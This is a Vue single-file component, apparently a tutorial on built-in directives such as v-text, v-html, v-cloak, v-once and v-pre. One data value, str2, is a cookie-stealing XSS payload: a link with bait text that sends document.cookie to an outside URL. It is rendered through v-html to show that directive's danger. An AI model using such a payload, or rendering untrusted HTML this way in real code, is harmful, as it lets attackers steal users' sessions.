<template>
<div id="root">
  <h1>v-text指令</h1>
  <div>你好，{{name}}</div>
  <div v-text="name"></div>
  <div v-text="str"></div>

  <h1>v-html指令</h1>
  <div>Hello, {{name}}</div>
  <div v-html="str"></div>
  <div v-html="str2"></div>

  <h1>v-cloak指令</h1>
  <h2 v-cloak>{{name}}</h2>

  <h1>v-once指令</h1>
  <h2 v-once>n的初始值是：{{n}}</h2>
  <h2>n现在的值是：{{n}}</h2>
  <button @click="n++">点我n+1</button>

  <h1>v-pre指令</h1>
  <h2 v-pre>Vue其实很简单</h2>
  <h2>当前的n值是：{{n}}</h2>
  <button @click="n++">点我n+1</button>
</div>
</template>

<script>
export default {
  name: "NeiZhiZhiLing",
  data() {
    return {
      n: 1,
      name: 'JOJO',
      str: '<h3>你好啊！</h3>',
      str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！！！</a>'
    }
  }
}
</script>

<style scoped>
[v-cloak]{
  display: none;
}
</style>
